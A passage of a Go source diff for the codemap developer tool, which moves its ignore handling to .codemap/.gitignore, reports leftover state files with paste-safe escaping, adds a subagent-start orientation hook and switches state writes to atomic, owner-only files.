len(left) > 0 { + fmt.Fprintf(w, "%d codemap machine-state file(s) under .codemap/ are no longer used and are safe to delete:\n%s", len(left), nameList(left)) + } + if len(unknown) > 0 { + fmt.Fprintf(w, "%d unrecognised file(s) in .codemap/ (not touched by codemap):\n%s", len(unknown), nameList(unknown)) + } +} + +// leftoverListMax bounds the leftover list; the count above it is exact. +const leftoverListMax = 20 + +// leftoverMachineState splits untracked files under .codemap/ other than +// config.json, .gitignore and skills/ into names an older codemap wrote +// (state from before it moved to the per-user state dir) and anything else, +// which may be the user's. Symlinks are listed, never followed. +func leftoverMachineState(root string) (left, unknown []string) { + dir := projectpath.CodemapDir(root) + tracked := map[string]bool{} + files, _ := gitexclude.TrackedStateFiles(root) + for _, f := range files { + tracked[f] = true + } + _ = filepath.WalkDir(dir, func(path string, d os.DirEntry, err error) error { + if err != nil || d.IsDir() { + return nil + } + rel, relErr := filepath.Rel(filepath.Dir(dir), path) + if relErr != nil { + return nil + } + rel = filepath.ToSlash(rel) + switch { + case userAuthored(rel): + case isKnownStateFile(rel): + if !tracked[rel] { // tracked ones are reported with the untrack command + left = append(left, rel) + } + default: + unknown = append(unknown, rel) + } + return nil + }) + return left, unknown +} + +func userAuthored(rel string) bool { + return rel == ".codemap/config.json" || rel == ".codemap/.gitignore" || strings.HasPrefix(rel, ".codemap/skills/") +} + +// nameList prints file names one per line, each byte outside [A-Za-z0-9._/-] +// as \xNN, so a hostile name can neither run when pasted nor fake a line. +func nameList(names []string) string { + var b strings.Builder + b.WriteString(" (file names, not commands)\n") + for i, name := range names { + if i == leftoverListMax { + fmt.Fprintf(&b, " ... %d more\n", len(names)-i) + break + } + b.WriteString(" ") + for j := 0; j < len(name); j++ { + if c := name[j]; isPasteSafe(c) { + b.WriteByte(c) + } else { + fmt.Fprintf(&b, `\x%02x`, c) + } + } + b.WriteByte('\n') + } + return b.String() +} + +func isPasteSafe(c byte) bool { + return c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' || c >= '0' && c <= '9' || strings.IndexByte("._/-", c) >= 0 +} + +// trackedStateDetail lists tracked state files as data, one per line, then a +// paste-safe untrack command. Names are repo-controlled, so the command +// carries only those matching knownStateFile, whatever the caller passed. +func trackedStateDetail(tracked []string) string { + var safe []string + for _, f := range tracked { + if isKnownStateFile(f) { + safe = append(safe, f) + } + } + detail := nameList(tracked) + if len(safe) > 0 { + detail += fmt.Sprintf(" untrack with: git rm --cached -- %s\n", strings.Join(safe, " ")) } - fmt.Fprintf(w, "Added %s to %s\n", ignoreEntry, rel) + return detail } -// ensureCodemapIgnored ensures .codemap/ is ignored for root by writing -// ignoreEntry to the clone-local info/exclude. It returns the file written, -// or "" when the entry already exists or root is not a git work tree. -func ensureCodemapIgnored(root string) (string, error) { - return gitexclude.EnsureIgnored(root) +func isKnownStateFile(rel string) bool { + return knownStateFile.MatchString(rel) && !strings.Contains(rel, "..") } -// localCodemapIgnore reports whether root's info/exclude already lists -// ignoreEntry. -func localCodemapIgnore(root string) (string, bool, error) { - return gitexclude.LocalEntry(root) +// knownStateFile matches the machine-state paths codemap writes, in the +// characters [A-Za-z0-9._/-] only. +var knownStateFile = regexp.MustCompile(`^\.codemap/(state\.json|status|hubs\.txt|agent_edits\.jsonl|events\.log|watch\.pid|watch\.transition|project\.json|sessions\.lock|topology-state\.json|handoff\.[A-Za-z0-9_-]+\.(json|log)|(sessions|projects|runtime)/[A-Za-z0-9._/-]+)$`) + +// trackedMachineState is the tracked files under .codemap/ with a known +// machine-state name. Other tracked files (config.json, skills/, or anything +// codemap does not recognise) are the user's. +func trackedMachineState(root string) []string { + files, err := gitexclude.TrackedStateFiles(root) + if err != nil { + return nil + } + var state []string + for _, f := range files { + if isKnownStateFile(f) { + state = append(state, f) + } + } + return state } // isGitWorkTree reports whether root sits inside a git working tree. @@ -64,9 +183,3 @@ func infoExcludePath(root string) (string, error) { func appendIgnoreEntry(path, entry string) error { return gitexclude.AppendEntry(path, entry) } - -// hasIgnoreLine reports whether data lists entry as a standalone, uncommented -// line. -func hasIgnoreLine(data []byte, entry string) bool { - return gitexclude.HasLine(data, entry) -} diff --git a/cmd/gitignore_test.go b/cmd/gitignore_test.go index 929a4ab0..6c00ea1b 100644 --- a/cmd/gitignore_test.go +++ b/cmd/gitignore_test.go @@ -5,16 +5,16 @@ import ( "os" "os/exec" "path/filepath" - "runtime" "strings" "testing" + + "codemap/internal/gitexclude" ) -func gitIgnoresCodemap(t *testing.T, root string) bool { +// gitIgnoresState reports whether git ignores machine state under .codemap/. +func gitIgnoresState(t *testing.T, root string) bool { t.Helper() - // Trailing slash so the directory-scoped rule matches even though - // .codemap does not exist on disk during the test. - cmd := exec.Command("git", "check-ignore", "-q", ".codemap/") + cmd := exec.Command("git", "check-ignore", "-q", ".codemap/state.json") cmd.Dir = root err := cmd.Run() if err == nil { @@ -34,305 +34,31 @@ func makeGitRepo(t *testing.T) string { return root } -func TestEnsureCodemapIgnored(t *testing.T) { - if _, err := exec.LookPath("git"); err != nil { - t.Skip("git not available") - } - - t.Run("writes to info/exclude and not gitignore", func(t *testing.T) { - root := makeGitRepo(t) - - path, err := ensureCodemapIgnored(root) - if err != nil { - t.Fatalf("ensureCodemapIgnored: %v", err) - } - if !strings.HasSuffix(path, filepath.Join("info", "exclude")) { - t.Fatalf("path = %q, want .git/info/exclude", path) - } - data, err := os.ReadFile(path) - if err != nil { - t.Fatalf("read exclude: %v", err) - } - if !strings.Contains(string(data), ".codemap/") { - t.Fatalf("info/exclude missing .codemap/:\n%s", data) - } - if _, err := os.Stat(filepath.Join(root, ".gitignore")); !os.IsNotExist(err) { - t.Fatal("must not create a tracked .gitignore") - } - if !gitIgnoresCodemap(t, root) { - t.Fatal("git does not ignore .codemap after info/exclude write") - } - }) - - t.Run("no-op when already ignored", func(t *testing.T) { - root := makeGitRepo(t) - exclude, err := infoExcludePath(root) - if err != nil { - t.Fatal(err) - } - if err := os.WriteFile(exclude, []byte("node_modules/\n.codemap/\n"), 0644); err != nil { - t.Fatal(err) - } - before, _ := os.ReadFile(exclude) - - path, err := ensureCodemapIgnored(root) - if err != nil { - t.Fatalf("ensureCodemapIgnored: %v", err) - } - if path != "" { - t.Fatalf("path = %q, want empty (nothing written)", path) - } - after, _ := os.ReadFile(exclude) - if string(before) != string(after) { - t.Fatalf("exclude was modified:\nbefore:\n%s\nafter:\n%s", before, after) - } - }) - - t.Run("records the local rule even when tracked ignore is effective", func(t *testing.T) { - root := makeGitRepo(t) - if err := os.WriteFile(filepath.Join(root, ".gitignore"), []byte(".codemap/\n"), 0644); err != nil { - t.Fatal(err) - } - - path, err := ensureCodemapIgnored(root) - if err != nil { - t.Fatalf("ensureCodemapIgnored: %v", err) - } - if path == "" { - t.Fatal("must record its own entry, not rely on .gitignore") - } - data, err := os.ReadFile(path) - if err != nil { - t.Fatalf("read exclude: %v", err) - } - if !hasIgnoreLine(data, ignoreEntry) { - t.Fatalf("info/exclude missing %q:\n%s", ignoreEntry, data) - } - }) - - t.Run("skips silently when not a git repo", func(t *testing.T) { - root := t.TempDir() - path, err := ensureCodemapIgnored(root) - if err != nil { - t.Fatalf("ensureCodemapIgnored on non-git dir: %v", err) - } - if path != "" { - t.Fatalf("path = %q, want empty for non-git dir", path) - } - if _, err := os.Stat(filepath.Join(root, ".gitignore")); !os.IsNotExist(err) { - t.Fatal("must not create .gitignore outside a git repo") - } - }) -} - -// TestEnsureCodemapIgnoredLocalAppends locks the append path: whatever the -// existing exclude content (line endings, missing final newline, oversized -// lines, other rules), .codemap/ lands on its own line exactly once and the -// existing bytes are preserved. -func TestEnsureCodemapIgnoredLocalAppends(t *testing.T) { - if _, err := exec.LookPath("git"); err != nil { - t.Skip("git not available") - } - longLine := strings.Repeat("x", 70*1024) // beyond bufio.Scanner's 64KiB limit - cases := []struct { - name string - pre string // pre-existing info/exclude content - already bool // pre already lists .codemap/ - }{ - {name: "empty file"}, - {name: "pre-populated entries", pre: "build/\n*.log\n"}, - {name: "no trailing newline", pre: "build/\n*.log"}, - {name: "crlf", pre: "build/\r\n*.log\r\n"}, - {name: "crlf no trailing newline", pre: "build/\r\n*.log"}, - {name: "long first line", pre: longLine + "\n"}, - {name: "already listed after long line", pre: longLine + "\n.codemap/\n", already: true}, - {name: "already listed mid-file", pre: "node_modules/\n.codemap/\n*.log\n", already: true}, - } - for _, tc := range cases { - t.Run(tc.name, func(t *testing.T) { - root := makeGitRepo(t) - exclude, err := infoExcludePath(root) - if err != nil { - t.Fatal(err) - } - if err := os.WriteFile(exclude, []byte(tc.pre), 0644); err != nil { - t.Fatal(err) - } - - path, err := ensureCodemapIgnored(root) - if err != nil { - t.Fatalf("ensureCodemapIgnored: %v", err) - } - if tc.already { - if path != "" { - t.Fatalf("path = %q, want empty (nothing written)", path) - } - data, err := os.ReadFile(exclude) - if err != nil { - t.Fatal(err) - } - if string(data) != tc.pre { - t.Fatalf("exclude changed when entry present:\n%q", data) - } - } else { - if path == "" { - t.Fatal("expected the ignore entry to be written") - } - want := tc.pre - if want != "" && !strings.HasSuffix(want, "\n") { - want += "\n" - } - want += ".codemap/\n" - data, err := os.ReadFile(exclude) - if err != nil { - t.Fatal(err) - } - if string(data) != want { - t.Fatalf("exclude = %q, want %q", data, want) - } - } - if !gitIgnoresCodemap(t, root) { - t.Fatal("git does not ignore .codemap after write") - } - }) - } -} - -func TestReportEnsureIgnored(t *testing.T) { - if runtime.GOOS == "windows" { - t.Skip("windows: temp-dir path assumption, tracked in #214") - } - if _, err := exec.LookPath("git"); err != nil { - t.Skip("git not available") - } - - t.Run("prints notice and writes rule on first run", func(t *testing.T) { - root := makeGitRepo(t) - var buf bytes.Buffer - - reportEnsureIgnored(&buf, root) - - out := buf.String() - if !strings.Contains(out, "Added .codemap/ to .git/info/exclude") { - t.Fatalf("notice missing or malformed:\n%s", out) - } - if !gitIgnoresCodemap(t, root) { - t.Fatal("git does not ignore .codemap after reportEnsureIgnored") - } - }) - - t.Run("prints nothing when already ignored", func(t *testing.T) { - root := makeGitRepo(t) - exclude, err := infoExcludePath(root) - if err != nil { - t.Fatal(err) - } - if err := os.WriteFile(exclude, []byte(".codemap/\n"), 0644); err != nil { - t.Fatal(err) - } - var buf bytes.Buffer - - reportEnsureIgnored(&buf, root) - - if buf.Len() != 0 { - t.Fatalf("expected no output, got:\n%s", buf.String()) - } - }) - - t.Run("prints nothing outside a git repo", func(t *testing.T) { - root := t.TempDir() - var buf bytes.Buffer - - reportEnsureIgnored(&buf, root) - - if buf.Len() != 0 { - t.Fatalf("expected no output for non-git dir, got:\n%s", buf.String()) - } - }) - - // In a linked worktree the shared exclude lives in the main repo, outside - // the worktree root, so the notice must print the absolute path rather - // than an escaping relative one like ../
/.git/info/exclude. - t.Run("prints absolute path for shared exclude in a linked worktree", func(t *testing.T) { - root := makeRepoOnBranch(t, "main") - wt := filepath.Join(t.TempDir(), "wt") - runGitTestCmd(t, root, "worktree", "add", "-b", "wt-branch", wt) - // The shared exclude resolves outside the worktree root (into the main - // repo), so the notice must print that absolute path, not ../
/... - sharedExclude, err := infoExcludePath(wt) - if err != nil { - t.Fatal(err) - } - var buf bytes.Buffer - - reportEnsureIgnored(&buf, wt) - - out := buf.String() - if !strings.Contains(out, "Added .codemap/ to "+sharedExclude) { - t.Fatalf("expected absolute path in notice, got:\n%s", out) - } - if strings.Contains(out, "../") { - t.Fatalf("notice must not print an escaping relative path:\n%s", out) - } - if !gitIgnoresCodemap(t, wt) { - t.Fatal("git does not ignore .codemap in the worktree after reportEnsureIgnored") - } - }) - - // A corrupt local ignore (unreadable, or unwritable) must surface as a - // warning instead of a silent success or a crash. - t.Run("warns when the exclude file cannot be read", func(t *testing.T) { - root := makeGitRepo(t) - exclude, err := infoExcludePath(root) - if err != nil { - t.Fatal(err) - } - if err := os.Remove(exclude); err != nil { - t.Fatal(err) - } - if err := os.MkdirAll(exclude, 0o755); err != nil { - t.Fatal(err) - } - var buf bytes.Buffer - - reportEnsureIgnored(&buf, root) - - if !strings.Contains(buf.String(), "Warning: could not update ignore rules") { - t.Fatalf("expected warning, got:\n%s", buf.String()) - } - }) -} - -func TestEnsureCodemapIgnoredLocalModeIsIdempotent(t *testing.T) { +func TestReportEnsureIgnoredWritesStateIgnoreOnlyWhenSetUp(t *testing.T) { if _, err := exec.LookPath("git"); err != nil { t.Skip("git not available") } root := makeGitRepo(t) - exclude, err := infoExcludePath(root) - if err != nil { - t.Fatal(err) + var out bytes.Buffer + reportEnsureIgnored(&out, root) + if _, err := os.Stat(filepath.Join(root, ".codemap")); !os.IsNotExist(err) { + t.Fatalf("created .codemap/ in a repo that is not set up: %v", err) } - first, err := ensureCodemapIgnored(root) - if err != nil { - t.Fatalf("first ensureCodemapIgnored: %v", err) - } - if first == "" { - t.Fatal("expected the local ignore entry to be written on the first call") - } - second, err := ensureCodemapIgnored(root) - if err != nil { - t.Fatalf("second ensureCodemapIgnored: %v", err) + if err := os.Mkdir(filepath.Join(root, ".codemap"), 0o755); err != nil { + t.Fatal(err) } - if second != "" { - t.Fatalf("second call wrote again (%q); local mode must be idempotent", second) + reportEnsureIgnored(&out, root) + data, err := os.ReadFile(filepath.Join(root, ".codemap", ".gitignore")) + if err != nil || string(data) != gitexclude.StateIgnore { + t.Fatalf(".codemap/.gitignore = %q, %v", data, err) } - data, err := os.ReadFile(exclude) - if err != nil { - t.Fatal(err) + if !strings.Contains(out.String(), "Wrote .codemap/.gitignore") || !gitIgnoresState(t, root) { + t.Fatalf("state not ignored after report:\n%s", out.String()) } - if n := strings.Count(string(data), ".codemap/\n"); n != 1 { - t.Fatalf("exclude has %d .codemap/ entries, want exactly 1:\n%s", n, data) + exclude, _ := os.ReadFile(filepath.Join(root, ".git", "info", "exclude")) + if gitexclude.HasLine(exclude, gitexclude.Entry) { + t.Fatalf("info/exclude gained %s:\n%s", gitexclude.Entry, exclude) } } diff --git a/cmd/hooks.go b/cmd/hooks.go index 3ff33b83..27a138a2 100644 --- a/cmd/hooks.go +++ b/cmd/hooks.go @@ -19,8 +19,8 @@ import ( "codemap/config" "codemap/handoff" - "codemap/internal/gitexclude" "codemap/internal/projectpath" + "codemap/internal/runtimefile" "codemap/limits" "codemap/scanner" "codemap/skills" @@ -204,9 +204,15 @@ func getHubInfoWithFallback(root string, allowFallback bool) *hubInfo { // RunHookWithTimeout executes a hook with a hard timeout. // On timeout, returns HookTimeoutError and callers should fail open. func RunHookWithTimeout(hookName, root string, timeout time.Duration) error { - if timeout <= 0 { + // The background refresh carries its own bound (subagentRefreshBound). + if timeout <= 0 || hookName == subagentRefreshHook { return RunHook(hookName, root) } + // Bounded inside, so the background render is launched before we return. + if hookName == "subagent-start" { + runSubagentStart(root, min(timeout, subagentStartTimeout)) + return nil + } if hookName == "session-stop" { ctx, cancel := context.WithTimeout(context.Background(), timeout) @@ -227,6 +233,10 @@ func RunHookWithTimeout(hookName, root string, timeout time.Duration) error { if errors.Is(err, context.DeadlineExceeded) { return &HookTimeoutError{Hook: hookName, Timeout: timeout} } + // Same rule as RunHook: no safe place for state never fails the agent. + if errors.Is(err, projectpath.ErrNoStateDir) || errors.Is(err, runtimefile.ErrUnsafe) { + return nil + } return err } return runWithTimeout(hookName, timeout, func() error { @@ -307,8 +317,21 @@ func waitForDaemonState(root string, timeout time.Duration) *watch.State { return nil } +// runSubagentStart never fails a subagent: any error leaves stdout empty. +func runSubagentStart(root string, budget time.Duration) { + _ = emitHookContext("SubagentStart", func() error { return hookSubagentStart(root, budget) }, false) +} + // RunHook executes the named hook with the given project root func RunHook(hookName, root string) error { + if hookName == "subagent-start" { + runSubagentStart(root, subagentStartTimeout) + return nil + } + if hookName == subagentRefreshHook { + refreshSubagentCache(root) + return nil + } resolvedRoot, _, err := ResolveNearestGitRoot(root) if err != nil { return err @@ -333,9 +356,14 @@ func RunHook(hookName, root string) error { case "session-stop": fn = func() error { return hookSessionStop(root) } default: - return fmt.Errorf("unknown hook: %s\nAvailable: session-start, pre-edit, post-edit, prompt-submit, pre-compact, session-stop", hookName) + return fmt.Errorf("unknown hook: %s\nAvailable: session-start, subagent-start, pre-edit, post-edit, prompt-submit, pre-compact, session-stop", hookName) + } + err = runHookOutput(hookName, fn) + // No safe place for state degrades features; it never fails the agent. + if errors.Is(err, projectpath.ErrNoStateDir) || errors.Is(err, runtimefile.ErrUnsafe) { + return nil } - return runHookOutput(hookName, fn) + return err } func runHookOutput(hookName string, fn func() error) error { @@ -400,6 +428,7 @@ func runHookWithoutStdout(fn func() error) error { // hookSessionStart shows project structure, starts daemon, and shows hub warnings func hookSessionStart(root string) error { + fmt.Print(SessionStartNotice) // Handle meta-repo: parent directory containing child git repos. // Check this before the git guard so that non-repo parent directories // still get multi-repo context. @@ -428,7 +457,6 @@ func hookSessionStart(root string) error { state = waitForDaemonState(root, 2*time.Second) } fileCount, fileCountKnown = configuredStateFileCount(root, state) - EnsureProjectConfig(root) projCfg := config.Load(root) structureBudget := projCfg.SessionStartOutputBytes() maxHubs := projCfg.HubDisplayLimit() @@ -512,23 +540,8 @@ func hookSessionStart(root string) error { if exeErr != nil { return "" } - args := projectpath.PrependSetupRootArgs("--depth", strconv.Itoa(depth)) - if len(projCfg.Only) > 0 { - args = append(args, "--only", strings.Join(projCfg.Only, ",")) - } - if len(projCfg.Exclude) > 0 { - args = append(args, "--exclude", strings.Join(projCfg.Exclude, ",")) - } - args = append(args, root) - cmd := exec.Command(exe, args...) - if lean != "" { - cmd.Env = append(os.Environ(), TreeLeanEnv+"="+lean) - } - var buf strings.Builder - cmd.Stdout = &buf - cmd.Stderr = os.Stderr - cmd.Run() - rendered[key] = buf.String() + "\n" + out, _ := renderTreeSubprocess(context.Background(), exe, root, projCfg, depth, lean, os.Stderr) + rendered[key] = out + "\n" return rendered[key] } @@ -549,9 +562,109 @@ func hookSessionStart(root string) error { return nil } +// renderTreeSubprocess renders `codemap --depth N` for root in a child +// process with the project's filters and the given lean level. +func renderTreeSubprocess(ctx context.Context, exe, root string, projCfg config.ProjectConfig, depth int, lean string, stderr io.Writer) (string, error) { + args := projectpath.PrependSetupRootArgs("--depth", strconv.Itoa(depth)) + if len(projCfg.Only) > 0 { + args = append(args, "--only", strings.Join(projCfg.Only, ",")) + } + if len(projCfg.Exclude) > 0 { + args = append(args, "--exclude", strings.Join(projCfg.Exclude, ",")) + } + args = append(args, root) + cmd := exec.CommandContext(ctx, exe, args...) + if lean == "" { + lean = treeLeanNone + } + cmd.Env = append(os.Environ(), TreeLeanEnv+"="+lean) + var buf strings.Builder + cmd.Stdout = &buf + cmd.Stderr = stderr + err := cmd.Run() + return buf.String(), err +} + +// subagentStartCap bounds the subagent orientation block. +const subagentStartCap = 2500 + +// subagentStartTimeout bounds the wait for a cache-miss render; past it the +// subagent gets no block and the background render fills the cache for later. +const subagentStartTimeout = 3 * time.Second + +// renderSubagentBlock renders the orientation block; tests replace it. +var renderSubagentBlock = func(ctx context.Context, root string) (string, error) { + exe, err := os.Executable() + if err != nil { + return "", err + } + tree, err := renderTreeSubprocess(ctx, exe, root, config.Load(root), 1, TreeLeanDirsOnly, io.Discard) + if err != nil { + return "", err + } + header := "📍 codemap orientation: top-level directories (⭐️ marks hubs), then the hub list. Run `codemap .` for the full tree.\n" + return fitSubagentStart(header, tree, subagentStartCap), nil +} + +// hookSubagentStart orients a subagent, which never gets SessionStart: the +// top-level directories with hub marks, then the hub list. The payload's cwd +// wins over the process cwd because a worktree-isolated subagent runs elsewhere. +// ponytail: cached per HEAD, so a new top-level directory shows only after +// the next commit; key on a tree listing hash if that ever matters. +func hookSubagentStart(root string, budget time.Duration) error { + if info, err := os.Stdin.Stat(); err == nil && info.Mode()&os.ModeCharDevice == 0 { + var payload struct { + Cwd string `json:"cwd"` + } + if input, err := io.ReadAll(os.Stdin); err == nil && json.Unmarshal(input, &payload) == nil && payload.Cwd != "" { + root = payload.Cwd + } + } + resolved, found, err := ResolveNearestGitRoot(root) + if err != nil || !found { + return nil + } + if root, err = ValidateProjectPath(resolved); err != nil { + return err + } + fmt.Print(subagentStartBlock(root, budget)) + return nil +} + +// fitSubagentStart keeps the tree's trailer (legend, hubs, Next) whole and +// cuts the directory lines to fit, ending them with a count of what was cut. +func fitSubagentStart(header, tree string, maxBytes int) string { + split := len(tree) + for _, marker := range []string{treeHubLegend, treeNoHubLegend} { + if i := strings.Index(tree, marker); i >= 0 && i < split { + split = strings.LastIndex(tree[:i], "\n") + 1 + } + } + dirs, trailer := tree[:split], cutAtLine(tree[split:], maxBytes/2, "") + budget := maxBytes - len(header) - len(trailer) + if len(dirs) <= budget { + return header + dirs + trailer + } + lines := strings.SplitAfter(strings.TrimSuffix(dirs, "\n"), "\n") + marker := func(n int) string { return fmt.Sprintf("... %d more directories\n", n) } + kept, used := 0, 0 + for kept < len(lines) && used+len(lines[kept])+len(marker(len(lines))) <= budget { + used += len(lines[kept]) + kept++ + } + return header + strings.Join(lines[:kept], "") + marker(len(lines)-kept) + trailer +} + // TreeLeanEnv tells a tree render to shed extras: "1" cuts the hub list to -// three, "2" also drops line counts. -const TreeLeanEnv = "CODEMAP_TREE_LEAN" +// three, "2" also drops line counts. TreeLeanDirsOnly keeps only directory +// lines and the full hub list, with no line counts. Hooks always set it ("0" +// sheds nothing), so a tree that sees it set is rendering for an agent and +// leaves out human-only lines such as the auto filter note. +const ( + TreeLeanEnv = "CODEMAP_TREE_LEAN" + TreeLeanDirsOnly = "dirs" + treeLeanNone = "0" +) // Markers of the tree's own hub trailer (render/tree_compact.go). const ( @@ -748,7 +861,7 @@ func getLastSessionEvents(root string) []string { return nil } eventsFile := filepath.Join(codemapDir, "events.log") - f, err := os.Open(eventsFile) + f, err := runtimefile.OpenRead(eventsFile) if err != nil { return nil } @@ -1039,7 +1152,6 @@ func hookPromptSubmit(root string) error { } touchSessionLease(root, sessionIDFromHookInput(input)) - EnsureProjectConfig(root) projCfg := config.Load(root) topK := projCfg.RoutingTopKOrDefault() info := getValidatedHubInfo(root) @@ -1091,8 +1203,6 @@ func hookPromptSubmit(root string) error { } } - showNextCodemapSteps(root, intent, info) - showRouteSuggestions(prompt, projCfg, topK) // Match and inject relevant skills @@ -1124,7 +1234,7 @@ func writeStatuslineState(root string, intent TaskIntent) { if intent.RiskLevel != "low" { status += " " + intent.RiskLevel } - os.WriteFile(filepath.Join(codemapDir, "status"), []byte(status), 0644) + _ = runtimefile.WriteAtomic(filepath.Join(codemapDir, "status"), []byte(status), 0o600) } // emitIntentMarker outputs a structured JSON comment for machine consumption. @@ -1190,134 +1300,16 @@ func showMatchedSkills(root string, intent TaskIntent) { } } -type codemapNextStep struct { - Command string - Reason string -} - -func showNextCodemapSteps(root string, intent TaskIntent, info *hubInfo) { - steps := planCodemapNextSteps(intent, info) - if len(steps) == 0 { - return - } - - hint := mcpToolHint(root) - fmt.Println() - fmt.Println("Next codemap:") - for _, step := range steps { - fmt.Printf(" • %s%s — %s\n", step.Command, hint(step.Command), step.Reason) - } -} - -func planCodemapNextSteps(intent TaskIntent, info *hubInfo) []codemapNextStep { - if intent.Confidence < intentConfidenceFloor { - return nil - } - - var steps []codemapNextStep - seen := make(map[string]bool) - add := func(command, reason string) { - if command == "" || seen[command] { - return - } - seen[command] = true - steps = append(steps, codemapNextStep{Command: command, Reason: reason}) - } - - primaryFile := pickPrimaryCodemapFile(intent.Files, info) - if primaryFile != "" { - importerCount := 0 - hubImporterCount := 0 - if info != nil { - importerCount = len(info.Importers[primaryFile]) - hubImporterCount = scanner.CountHubImporters(info.Importers[primaryFile]) - } - - reason := "check callers before editing" - switch { - case hubImporterCount >= scanner.HubThreshold: - reason = fmt.Sprintf("check blast radius before editing this hub (%s)", importersNoun(importerCount)) - case importerCount > 0: - reason = fmt.Sprintf("check callers before editing (%s)", importersNoun(importerCount)) - } - add("codemap --importers "+shellQuoteIfNeeded(primaryFile), reason) - if hubImporterCount >= scanner.HubThreshold { - add("codemap --deps", "trace dependency flow around this hub before changing it") - } - } - - switch intent.Category { - case "vcs": - add("codemap --diff", "review what changed before merging, reviewing, or releasing") - case "explore": - if len(intent.Files) == 0 { - add("codemap .", "refresh project structure before diving in") - } else { - add("codemap --deps", "trace how the mentioned code connects") - } - case "refactor": - add("codemap --deps", "verify dependency flow before refactoring") - case "feature": - if len(intent.Files) == 0 { - add("codemap .", "refresh project structure before choosing edit points") - } - if len(intent.Files) > 0 || intent.Scope != "single-file" { - add("codemap --deps", "feature work tends to cross existing dependencies") - } - case "bugfix": - if len(intent.Files) == 0 { - add("codemap --diff", "check recent branch changes before debugging") - } else if primaryFile != "" && info != nil && scanner.CountHubImporters(info.Importers[primaryFile]) >= scanner.HubThreshold { - add("codemap --deps", "hub fixes can ripple through dependents") - } - } - - if len(steps) > 2 { - steps = steps[:2] - } - return steps -} - -func pickPrimaryCodemapFile(files []string, info *hubInfo) string { - if len(files) == 0 { - return "" - } - - best := files[0] - bestImporters := -1 - for _, file := range files { - importerCount := 0 - if info != nil { - importerCount = len(info.Importers[file]) - } - if importerCount > bestImporters { - best = file - bestImporters = importerCount - } - } - return best -} - -func shellQuoteIfNeeded(value string) string { - if strings.ContainsAny(value, " \t") { - return strconv.Quote(value) - } - return value -} - -// setupNeedsAttention is config.AssessSetup gated for #224: a directory with -// no .git and no config (such as $HOME) is not a project, so there is nothing -// to set up and the hooks stay quiet instead of telling the agent to write -// .codemap/config.json there on every prompt. +// setupNeedsAttention is config.AssessSetup gated for #224 and #184: a +// project that never ran setup (no .codemap/ directory) is not asked to +// finish it on every prompt; only a set-up project missing its config is. func setupNeedsAttention(root string) (config.SetupAssessment, bool) { assessment := config.AssessSetup(root) if !assessment.NeedsAttention() { return assessment, false } - if assessment.State == config.SetupStateMissing { - if _, err := os.Stat(filepath.Join(root, ".git")); err != nil { - return assessment, false - } + if assessment.State == config.SetupStateMissing && !projectpath.IsSetUp(root) { + return assessment, false } return assessment, true } @@ -1644,9 +1636,6 @@ func hookPreCompact(root string) error { if err != nil { return err } - if err := gitexclude.MkdirAll(codemapDir, 0755); err != nil { - return err - } info := getHubInfoNoFallback(root) if info == nil || len(info.Hubs) == 0 { @@ -1655,19 +1644,17 @@ func hookPreCompact(root string) error { // Write hub state hubsFile := filepath.Join(codemapDir, "hubs.txt") - f, err := os.Create(hubsFile) - if err != nil { - return err - } - defer f.Close() - - fmt.Fprintf(f, "# Hub files at %s\n", time.Now().Format(time.RFC3339)) + var hubs strings.Builder + fmt.Fprintf(&hubs, "# Hub files at %s\n", time.Now().Format(time.RFC3339)) for _, hub := range info.Hubs { - fmt.Fprintln(f, hub) + fmt.Fprintln(&hubs, hub) + } + if err := runtimefile.WriteAtomic(hubsFile, []byte(hubs.String()), 0o600); err != nil { + return err } fmt.Println() - fmt.Printf("💾 Saved hub state to .codemap/hubs.txt before compact\n") + fmt.Printf("💾 Saved hub state to %s before compact\n", hubsFile) fmt.Printf(" (%d hub files tracked)\n", len(info.Hubs)) fmt.Println() @@ -1811,7 +1798,7 @@ func hookSessionStopContext(ctx context.Context, root string, out io.Writer) err if err := writeSessionHandoffContext(ctx, root, state); err != nil { return err } - fmt.Fprintln(out, "🤝 Saved handoff to .codemap/handoff.latest.json") + fmt.Fprintln(out, "🤝 Saved handoff to "+handoff.LatestPath(root)) } fmt.Fprintln(out) @@ -2081,7 +2068,11 @@ func DaemonShouldExit(root string, now time.Time) bool { if err != nil { return false } - entries, err := os.ReadDir(filepath.Join(codemapDir, "sessions")) + sessions := filepath.Join(codemapDir, "sessions") + if runtimefile.CheckDir(sessions) != nil { + return false + } + entries, err := os.ReadDir(sessions) if err != nil || len(entries) == 0 { return false } @@ -2114,9 +2105,6 @@ func updateSessionLeaseContext(ctx context.Context, root, sessionID string, acti if err != nil { return err } - if err := gitexclude.MkdirAll(codemapDir, 0o755); err != nil { - return err - } lockPath := filepath.Join(codemapDir, "sessions.lock") if err := acquireSessionLockContext(ctx, lockPath); err != nil { return err @@ -2124,7 +2112,7 @@ func updateSessionLeaseContext(ctx context.Context, root, sessionID string, acti defer os.Remove(lockPath) leaseDir := filepath.Join(codemapDir, "sessions") - if err := os.MkdirAll(leaseDir, 0o755); err != nil { + if err := runtimefile.EnsureDir(leaseDir); err != nil { return err } entries, err := os.ReadDir(leaseDir) @@ -2157,7 +2145,7 @@ func updateSessionLeaseContext(ctx context.Context, root, sessionID string, acti if err != nil { return err } - if err := os.WriteFile(leasePath, append(payload, '\n'), 0o600); err != nil { + if err := runtimefile.WriteAtomic(leasePath, append(payload, '\n'), 0o600); err != nil { return err } } else if err := os.Remove(leasePath); err != nil && !os.IsNotExist(err) { @@ -2193,7 +2181,7 @@ func acquireSessionLockContext(ctx context.Context, lockPath string) error { if !os.IsExist(err) { return err } - if info, statErr := os.Stat(lockPath); statErr == nil && time.Since(info.ModTime()) > sessionLockStaleAfter { + if info, statErr := os.Lstat(lockPath); statErr == nil && time.Since(info.ModTime()) > sessionLockStaleAfter { _ = os.RemoveAll(lockPath) continue } @@ -2332,24 +2320,43 @@ func appendUniquePath(paths []string, path string) []string { return append(paths, path) } +// projectRelPath returns a hook-supplied path relative to root, or false when +// it is outside root. Relative paths are taken as root-relative. The path +// counts as inside when it is spelled under root or under root's canonical +// form (/tmp vs /private/tmp); only its parent directory is canonicalised, +// so an in-repo symlink pointing outside the repo still counts as inside. +func projectRelPath(root, path string) (string, bool) { + if !filepath.IsAbs(path) { + path = filepath.Join(root, path) + } + path = filepath.Clean(path) + paths := []string{path, filepath.Join(projectpath.CanonicalPath(filepath.Dir(path)), filepath.Base(path))} + for _, r := range []string{root, projectpath.CanonicalPath(root)} { + for _, p := range paths { + rel, err := filepath.Rel(r, p) + if err == nil && rel != ".." && 